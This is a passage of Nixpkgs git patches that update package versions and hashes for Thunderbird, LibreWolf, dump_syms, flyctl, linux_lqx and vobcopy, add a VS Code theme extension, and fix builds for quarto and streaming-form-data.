+      sha256 = "5720d86da6ba258d897db7ce66fe178da13e5410c73d31f259b5b9160caeee72";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/is/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/is/Thunderbird%20139.0.2.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "e1ec4beb8134566f6328aba816e9791b0a6bbea38009b208382ae0553d61fba6";
+      sha256 = "c78d3389d2da92b9a8f7bf9c423750a0c9a40f80be726b692c2795d24dad5f02";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/it/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/it/Thunderbird%20139.0.2.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "5e07080c449a3bdd85cf0f5080abe546e4a944e2e88dd9cbfad31d1d0dae43b9";
+      sha256 = "d140f278b8a540edfebe6d877630549e5c2fec775d11dc29c0d9226581efe814";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ja-JP-mac/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ja-JP-mac/Thunderbird%20139.0.2.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "067d0f521c9848b911deec91b38acb24c38b1ec08fd985b47d5c82facec274d9";
+      sha256 = "f5a78c402cb350e8dcfa7d97ee320619dd49159c37779f0fb119909ade6e2637";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ka/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ka/Thunderbird%20139.0.2.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "fb4ab22ed58e599c6d480a08088a2a3c83b851705cf3ee67e97a899d520e8b57";
+      sha256 = "9d46dd6cb1317c55a62aa914f7ade3dde1dec0b339b20a7175944354f37eea3e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/kab/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/kab/Thunderbird%20139.0.2.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "31c8c2f9685156946bb7a0ab5d18f43ec03c920957cb62bf2bf4503a1b70b326";
+      sha256 = "2618a2a5ad922275f410c7a36d3e15e82ce667bfc8597005f3dc062403be5348";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/kk/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/kk/Thunderbird%20139.0.2.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "b7103808af2a688694a0fcab4891522f625e7f031234b53b161dc12d81825bf0";
+      sha256 = "1b5cafd8bab4e543aa78bf964ad8d49cf1acbc48c6ed087dc036d5d322effc0e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ko/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ko/Thunderbird%20139.0.2.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "dd99cb4392a8158bb88eac71e2ca580afd83570661d0bc670668eaf6141663ce";
+      sha256 = "f8173e84dd82ac4da522c71a875242eaf8eb107b8987606992d7393f992b1743";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/lt/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/lt/Thunderbird%20139.0.2.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "0ba6d6024f37a73dbbcd243166219fc15ecc8397b982933751127e2671e85a6b";
+      sha256 = "ffc5b3bb98a45b5bc4c4dea4737d820db8654c8e68d0441d179333a43a04e5ae";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/lv/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/lv/Thunderbird%20139.0.2.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "089790305f502958606721170b9232a7f576166c664c8fb04ed78178056362fc";
+      sha256 = "920dbeed505f3d55a750aa047b899fb18844751833268a733a9afe87501b36af";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ms/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ms/Thunderbird%20139.0.2.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "5f167ba545db68f4768a966fadfdad89dc9843e23a638dfe71f5cd4cd9db8c8f";
+      sha256 = "0d4cd6ab0b8da80c5ee4c263f59e132d417dd91b081441d7edb0ead9a3f1c57f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/nb-NO/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/nb-NO/Thunderbird%20139.0.2.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "0a20d8f1cdc5b53a49462d9a60ff1095dc3077fedca580ec62975d7ea1f27191";
+      sha256 = "3aa1bf5c6f157b2c1c4ca100e3690242390f344a9ce66f4be31655fab46c486a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/nl/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/nl/Thunderbird%20139.0.2.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "fdbf938747edf6a9ff4fe68dcfb46a47ebd5a07535b6e7998f1b2882e4e06610";
+      sha256 = "8e0990be0ee10000d2c27a8fa81636eda6e14bdd1e4620da9c64e25d6665650a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/nn-NO/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/nn-NO/Thunderbird%20139.0.2.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "907ee34ee486792dd9470ed9fa22c9d31b2807022083afdf4ff7a8d1da582491";
+      sha256 = "d23c36020effe227a591bb743c440df3c54866b641b6a1c15e113c7fb4e65098";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/pa-IN/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/pa-IN/Thunderbird%20139.0.2.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "676bb0dc9147a8291f2e241ff66547af0647411a65c598b8c684d99b81b52bdd";
+      sha256 = "2779f912dcd7001e601291c112c46f4be8fdc249942637e65293ca4c84741e97";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/pl/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/pl/Thunderbird%20139.0.2.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "4ce2ce69617132a353854e1dd71a2fb7b41998d712ab23c271e6971a97a641f2";
+      sha256 = "ef86339886b50f980bbbd69720e8fb134859eb17a0435c2cdfd8b7238e155cd6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/pt-BR/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/pt-BR/Thunderbird%20139.0.2.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "6bcff630896c3d0b2f117b7d4c65d3510c026843a03a02d01aa99a65ba31e4ba";
+      sha256 = "f4a755f3e3628537083efdf067e9162d7a654c8d8bf93ee207c46c3b858a7ba6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/pt-PT/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/pt-PT/Thunderbird%20139.0.2.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "5c2429cd1086d5c3cc2c833d4e595cb48a671f9c27b83a1892f17a3a2d83be75";
+      sha256 = "9af8fc19266867a83912fa38cdf3ec6dfbff4edb33e6b3d4722e77ffeeb83f78";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/rm/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/rm/Thunderbird%20139.0.2.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "74c7d0ab57f5f6bdddb6d4c7a662fcbd6f098db066d8e17ff34b4227bf2b95aa";
+      sha256 = "f21d4b178e0287333e8d98e11e2d5068505528ea2414034258eef581cc9c30c0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ro/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ro/Thunderbird%20139.0.2.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "f4c115aa934bb691707adaa5b54d9d04ca4d888cc65ad57494e3a83ecb881ea2";
+      sha256 = "5f40545ad6094ad600b1627386a7943f81266380c41674c781ffd9fe62612903";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ru/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ru/Thunderbird%20139.0.2.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "6b16a3c1bd75be63e9312e13e245871cdabcedaa035484e5402cb091e1a4541e";
+      sha256 = "96026e6d4ad332a010fee85fd4d6241479baea225edf3259dd80121608fb3481";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/sk/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/sk/Thunderbird%20139.0.2.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "01e29a4277ee5d947512c1815e7ac9c42714c37a72aeaf78f520e1364357dfba";
+      sha256 = "bf4adb8af0be6cc6318be35a41382fd8fad396e650e4773d61431629ec9bd0d4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/sl/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/sl/Thunderbird%20139.0.2.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "9c9867f0298eae5ec55647ffb55a5f0b703da55a4d278ff16e7dac469ecfebfe";
+      sha256 = "8e43e059551181d03b9c9b93fe41669c648b5b63efd8ef629ba46d06ac185ead";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/sq/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/sq/Thunderbird%20139.0.2.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "975780df8c7dc39306c3ff8ff983f0edbc7ae8c3b35f143dd906ea1b23cf2dc4";
+      sha256 = "ad063957d9adbe51531703b622c8a563b52db1d2833e49e5c835597c04bd113c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/sr/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/sr/Thunderbird%20139.0.2.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "a17f18795ef6a77b400adae664bf83c26ee493218777d894ca9d7a89ec12e004";
+      sha256 = "ac81d1bf3b680a89e56f7e774aef826def3f98902e1b0bb106782a35849ee566";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/sv-SE/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/sv-SE/Thunderbird%20139.0.2.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "396f9f5529778d61cdbd12e62dfb83aad0bdffc1d2ed031359bafff9c2b8d9ae";
+      sha256 = "1675bc5e895bc9ee16d966c7fd830b602d91636ed9c931dda17d7cede0e21c76";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/th/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/th/Thunderbird%20139.0.2.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "4601a2d1dea097a2a1a3b0778e6fbd42689d42cbbd1b4878cf82eb0ff95e3e30";
+      sha256 = "6ed2b08ba111ec75537be28e4f2719a04e7e27e9781ec4de42c47100d5f98b6e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/tr/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/tr/Thunderbird%20139.0.2.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "630162b811b7b117c224bb2c6ce5ed935dc64fc7a4245956e2e519128fc4108f";
+      sha256 = "4775f57c64fbb5ee8376b63e59b87fcfaf6d84aa3ce6091b9b10b197a8e856c5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/uk/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/uk/Thunderbird%20139.0.2.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "5958a9a9603d058368fcacce2d7bdbf073f00510affc34c4f6801356c003126e";
+      sha256 = "eb29798c3f2d82bda2d2597b89c9b8f7371dd487f9756197159d83fe25054902";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/uz/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/uz/Thunderbird%20139.0.2.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "9543b60fd66edbadacb4b72838db973a32b8d4d4947134cdf28132839710e094";
+      sha256 = "c3eda53b62436fe773f5af0232e3acdb7c201d9f20e6953de1ed7d7bc7e017c3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/vi/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/vi/Thunderbird%20139.0.2.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "eb14f672a69e26f458da42e576a761c3e14996e4c6d7be8fdcdb3c1d8b4d9ec2";
+      sha256 = "514cc224a22d25c7c14fd1737e0e41b2a414abdfc1ff160b243ee4e211e0baf0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/zh-CN/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/zh-CN/Thunderbird%20139.0.2.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "7152adf5275d0ccb87eedd1f6286d6a365077430ef264ae647e5b680489e1b81";
+      sha256 = "64ebd8b5af4ecf2b6c67be685c0b3a1e2f4f6ebbe88f35d5ee3e8d54eb5528dc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/zh-TW/Thunderbird%20139.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/zh-TW/Thunderbird%20139.0.2.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "09d1afe079886f3c162eda4abf76ae7b5bf286cc020a4450aa05bca9fc10022f";
+      sha256 = "eedcf8b19809349b8f622917bf3d161d75cbc384207f2425e9afd911927640cf";
     }
   ];
 }

From dd7dd268cc1955a7c2ac9e31dbbd99d599508dce Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 12 Jun 2025 22:30:02 +0000
Subject: [PATCH 1215/4511] librewolf-bin-unwrapped: 139.0-1 -> 139.0.4-1

(cherry picked from commit 3d8fb51de11139037be879be62beabe59c0a5fbc)
---
 pkgs/by-name/li/librewolf-bin-unwrapped/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
index fd1e5e3268de..fe84f2d0e21e 100644
--- a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
+++ b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
@@ -37,7 +37,7 @@ let
 
   pname = "librewolf-bin-unwrapped";
 
-  version = "139.0-1";
+  version = "139.0.4-1";
 in
 
 stdenv.mkDerivation {
@@ -47,9 +47,9 @@ stdenv.mkDerivation {
     url = "https://gitlab.com/api/v4/projects/44042130/packages/generic/librewolf/${version}/librewolf-${version}-${arch}-package.tar.xz";
     hash =
       {
-        i686-linux = "sha256-nWJRYEmjX8aE9zSuLU1FMg4FeZuDiC1eu+nxIRPhlNE=";
-        x86_64-linux = "sha256-2PmN18Rda0KeguQRsd5sZr3TRS8cEkTY21WhxxahCFc=";
-        aarch64-linux = "sha256-EzgGhIrS/D6IEylrhX0uvpSkWte/mHMyUYjXsm0PUn8=";
+        i686-linux = "sha256-JE/BaRr/idpGuKkNxN9syOLGddnT1jlvnP8LNkHUNXw=";
+        x86_64-linux = "sha256-kENor/EGKgeCltiJSn03JMpJAtHaHAsuHzWTU2Yx3+Y=";
+        aarch64-linux = "sha256-VYVicoH45aFXx8rJu//0ycI579f0Nc1PLj2VdL6vPNo=";
       }
       .${stdenv.hostPlatform.system} or throwSystem;
   };

From 4ce1353faa8ab2070642e14bfcb983fb0b313115 Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Sun, 15 Jun 2025 17:22:16 +0200
Subject: [PATCH 1216/4511] vscode-extensions.ph-hawkins.arc-plus: init at
 1.0.2

(cherry picked from commit e5c4b01fc8e16e704ddc00b90074dbe9e5cd0b52)
---
 .../editors/vscode/extensions/default.nix       |  2 ++
 .../extensions/ph-hawkins.arc-plus/default.nix  | 17 +++++++++++++++++
 2 files changed, 19 insertions(+)
 create mode 100644 pkgs/applications/editors/vscode/extensions/ph-hawkins.arc-plus/default.nix

diff --git a/pkgs/applications/editors/vscode/extensions/default.nix b/pkgs/applications/editors/vscode/extensions/default.nix
index ed0ce1c1bdb8..50dfdcbfd861 100644
--- a/pkgs/applications/editors/vscode/extensions/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/default.nix
@@ -3851,6 +3851,8 @@ let
 
       oops418.nix-env-picker = callPackage ./oops418.nix-env-picker { };
 
+      ph-hawkins.arc-plus = callPackage ./ph-hawkins.arc-plus { };
+
       phind.phind = buildVscodeMarketplaceExtension {
         mktplcRef = {
           name = "phind";
diff --git a/pkgs/applications/editors/vscode/extensions/ph-hawkins.arc-plus/default.nix b/pkgs/applications/editors/vscode/extensions/ph-hawkins.arc-plus/default.nix
new file mode 100644
index 000000000000..9534fa301bd7
--- /dev/null
+++ b/pkgs/applications/editors/vscode/extensions/ph-hawkins.arc-plus/default.nix
@@ -0,0 +1,17 @@
+{ lib, vscode-utils }:
+
+vscode-utils.buildVscodeMarketplaceExtension {
+  mktplcRef = {
+    name = "arc-plus";
+    publisher = "ph-hawkins";
+    version = "1.0.2";
+    hash = "sha256-kI8UHo16PbOSLXBG9du4Ceb+aorVGGOH17Vg6ufy/D0=";
+  };
+  meta = {
+    description = "UI theme based on the Arc GTK theme while also retaining some elements of the default VS Code theme";
+    downloadPage = "https://marketplace.visualstudio.com/items?itemName=ph-hawkins.arc-plus";
+    homepage = "https://github.com/phil-harmoniq/arc-plus";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ aduh95 ];
+  };
+}

From 7566114e8d78fdb6fc14e3c9545ca7634fab464c Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Tue, 17 Jun 2025 12:28:08 +0200
Subject: [PATCH 1217/4511] quarto: use --set-default instead of --set

(cherry picked from commit edbd1acbcbf7d7ae970c8f064eaa76b17d8ae159)
---
 pkgs/development/libraries/quarto/default.nix | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/libraries/quarto/default.nix b/pkgs/development/libraries/quarto/default.nix
index 3ad569f807ff..9cb6ab94dae1 100644
--- a/pkgs/development/libraries/quarto/default.nix
+++ b/pkgs/development/libraries/quarto/default.nix
@@ -58,13 +58,15 @@ stdenv.mkDerivation (final: {
 
   preFixup = ''
     wrapProgram $out/bin/quarto \
-      --set QUARTO_DENO ${lib.getExe deno} \
-      --set QUARTO_PANDOC ${lib.getExe pandoc} \
-      --set QUARTO_ESBUILD ${lib.getExe esbuild} \
-      --set QUARTO_DART_SASS ${lib.getExe dart-sass} \
-      --set QUARTO_TYPST ${lib.getExe typst} \
-      ${lib.optionalString (rWrapper != null) "--set QUARTO_R ${rWithPackages}/bin/R"} \
-      ${lib.optionalString (python3 != null) "--set QUARTO_PYTHON ${pythonWithPackages}/bin/python3"}
+      --set-default QUARTO_DENO ${lib.getExe deno} \
+      --set-default QUARTO_PANDOC ${lib.getExe pandoc} \
+      --set-default QUARTO_ESBUILD ${lib.getExe esbuild} \
+      --set-default QUARTO_DART_SASS ${lib.getExe dart-sass} \
+      --set-default QUARTO_TYPST ${lib.getExe typst} \
+      ${lib.optionalString (rWrapper != null) "--set-default QUARTO_R ${rWithPackages}/bin/R"} \
+      ${lib.optionalString (
+        python3 != null
+      ) "--set-default QUARTO_PYTHON ${pythonWithPackages}/bin/python3"}
   '';
 
   installPhase = ''

From 7ea68e715e7a76a7502cd4718a52fbafcc6a4398 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Tue, 3 Jun 2025 22:31:05 +0300
Subject: [PATCH 1218/4511] python313Packages.streaming-form-data: fix build

(cherry picked from commit 18590d1e372a8e4414120da1a0c497e1ed353454)
---
 .../python-modules/streaming-form-data/default.nix          | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/development/python-modules/streaming-form-data/default.nix b/pkgs/development/python-modules/streaming-form-data/default.nix
index 0d13b9db97cc..12d8b464ab73 100644
--- a/pkgs/development/python-modules/streaming-form-data/default.nix
+++ b/pkgs/development/python-modules/streaming-form-data/default.nix
@@ -26,6 +26,12 @@ buildPythonPackage rec {
   # So, just drop the dependency to not have to deal with it.
   patches = [ ./drop-smart-open.patch ];
 
+  # The repo has a vendored copy of the cython output, which doesn't build on 3.13,
+  # so regenerate it with our cython, which does.
+  preBuild = ''
+    cython streaming_form_data/_parser.pyx
+  '';
+
   nativeBuildInputs = [ cython ];
 
   nativeCheckInputs = [

From 75c6dc3086b012b893184dc764d010c3ac245d47 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 18 Jun 2025 17:41:50 +0200
Subject: [PATCH 1219/4511] dump_syms: 2.3.4 -> 2.3.5

https://github.com/mozilla/dump_syms/blob/v2.3.5/CHANGELOG.md
(cherry picked from commit e962b26183c95569c7aba81f3ac2dc84fcb0668e)
---
 pkgs/by-name/du/dump_syms/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/du/dump_syms/package.nix b/pkgs/by-name/du/dump_syms/package.nix
index ba113aed246e..ad31cbd1cc3f 100644
--- a/pkgs/by-name/du/dump_syms/package.nix
+++ b/pkgs/by-name/du/dump_syms/package.nix
@@ -14,7 +14,7 @@
 
 let
   pname = "dump_syms";
-  version = "2.3.4";
+  version = "2.3.5";
 in
 rustPlatform.buildRustPackage {
   inherit pname version;
@@ -23,11 +23,11 @@ rustPlatform.buildRustPackage {
     owner = "mozilla";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-6VDuZ5rw2N4z6wOVbaOKO6TNaq8QA5RstsIzmuE3QrI=";
+    hash = "sha256-zxYGxqnh6urXDC/ZQf3aFzBqOj5QNulyDpTsZ47BDkU=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-GYkkB0Z40UedPLnZZ0tHdMQR2HhuQBg75J2J9vNsMuU=";
+  cargoHash = "sha256-gnXf6APcEJJKpKsqsBPLXlZddEt+6ENyt15iDw8XShc=";
 
   nativeBuildInputs = [
     pkg-config

From d329e7625d1e0266bfdc9ff4968eb2ef5c381a3c Mon Sep 17 00:00:00 2001
From: Katherine Jamison <axertheaxe@proton.me>
Date: Tue, 17 Jun 2025 17:34:45 -0600
Subject: [PATCH 1220/4511] linuxKernel.kernels.linux_lqx: 6.14.11-lqx1 ->
 6.15.2-lqx1

(cherry picked from commit 48f7aeb20f1e562c9540a962a84c49ecd8900300)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 336ab08f6bae..d7d22d01d3f6 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -23,9 +23,9 @@ let
     };
     # ./update-zen.py lqx
     lqx = {
-      version = "6.14.11"; # lqx
+      version = "6.15.2"; # lqx
       suffix = "lqx1"; # lqx
-      sha256 = "0gpg1rad2ljnnszpz78shsm98zw5bj6arr3xnsb2nanvx6axwbbw"; # lqx
+      sha256 = "05996kw51z1j3rjz1asyj4cbcq283bwii0pxc29c6d5kd15883q9"; # lqx
       isLqx = true;
     };
   };

From 7b5a3ecb0d7f2d55a80a1a5a423f5a0f2cad8212 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 18 Jun 2025 21:09:45 +0000
Subject: [PATCH 1221/4511] flyctl: 0.3.140 -> 0.3.144

(cherry picked from commit b1ff84ac9ca8b45b1182729eeecce37a0b4a8eaa)
---
 pkgs/by-name/fl/flyctl/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fl/flyctl/package.nix b/pkgs/by-name/fl/flyctl/package.nix
index 045a4154b49a..2b029b290541 100644
--- a/pkgs/by-name/fl/flyctl/package.nix
+++ b/pkgs/by-name/fl/flyctl/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "flyctl";
-  version = "0.3.140";
+  version = "0.3.144";
 
   src = fetchFromGitHub {
     owner = "superfly";
     repo = "flyctl";
     rev = "v${version}";
-    hash = "sha256-YlpK0gRHk9LbzDwSSJAc05ZYHRWPZ67Qi6SxImNzUTE=";
+    hash = "sha256-Uk6XeqdNXDs9H1Dzxy2uiF1ulIPoOxtZSoe2XU/6f0Q=";
   };
 
-  vendorHash = "sha256-mOPOVVG7c3PI/ltlwHBzNGqSyj6nMIvemYObrWezrqQ=";
+  vendorHash = "sha256-GWEEhn2O6Wxrd3y7w4h8Qz8/4GA1z++QsrOi9r58Rg8=";
 
   subPackages = [ "." ];
 

From fa2052d64cf011ba4e5f1c82f3307f7ee5ec902c Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Thu, 12 Jun 2025 10:13:19 -0400
Subject: [PATCH 1222/4511] vobcopy: 1.2.0 -> 1.2.1-unstable-2023-08-29; change
 upstream

The previous upstream seems to be dead, but a Debian maintainer has a fork.

Fixes GCC 14 build.

(cherry picked from commit decbd775ab53aff637e46c7a9ed2a03431e015b9)
---
 pkgs/by-name/vo/vobcopy/fix-darwin.patch | 28 +++++++++++++++++++++
 pkgs/by-name/vo/vobcopy/package.nix      | 31 +++++++++++++++---------
 2 files changed, 48 insertions(+), 11 deletions(-)
 create mode 100644 pkgs/by-name/vo/vobcopy/fix-darwin.patch

diff --git a/pkgs/by-name/vo/vobcopy/fix-darwin.patch b/pkgs/by-name/vo/vobcopy/fix-darwin.patch
new file mode 100644
index 000000000000..93ffdb6f5149
--- /dev/null
+++ b/pkgs/by-name/vo/vobcopy/fix-darwin.patch
@@ -0,0 +1,28 @@
+diff --git a/vobcopy.h b/vobcopy.h
+index dcf4266..d34c2b4 100644
+--- a/vobcopy.h
++++ b/vobcopy.h
+@@ -115,6 +115,7 @@ typedef enum  { FALSE=0, TRUE=1 }  bool;
+ 
+ #ifdef HAVE_SYS_STATVFS_H
+ #include <sys/statvfs.h>
++#ifndef __APPLE__
+ #ifndef USE_STATFS
+ #define USE_STATVFS
+ #ifndef USE_STATFS_FOR_DEV
+@@ -122,6 +123,7 @@ typedef enum  { FALSE=0, TRUE=1 }  bool;
+ #endif
+ #endif
+ #endif
++#endif
+ 
+ #ifdef HAVE_MNTENT_H
+ #include <mntent.h>
+@@ -164,6 +166,6 @@ char *safestrncpy(char *dest, const char *src, size_t n);
+ int check_progress( void ); /* this can be removed because the one below supersedes it */
+ int progressUpdate( int starttime, int cur, int tot, int force );
+ 
+-#ifndef HAVE_FDATASYNC
++#if !defined(HAVE_FDATASYNC) || defined(__APPLE__)
+ #define fdatasync(fd) 0
+ #endif
diff --git a/pkgs/by-name/vo/vobcopy/package.nix b/pkgs/by-name/vo/vobcopy/package.nix
index 3ad1ccb30de2..1ea5e7a9b517 100644
--- a/pkgs/by-name/vo/vobcopy/package.nix
+++ b/pkgs/by-name/vo/vobcopy/package.nix
@@ -1,32 +1,41 @@
 {
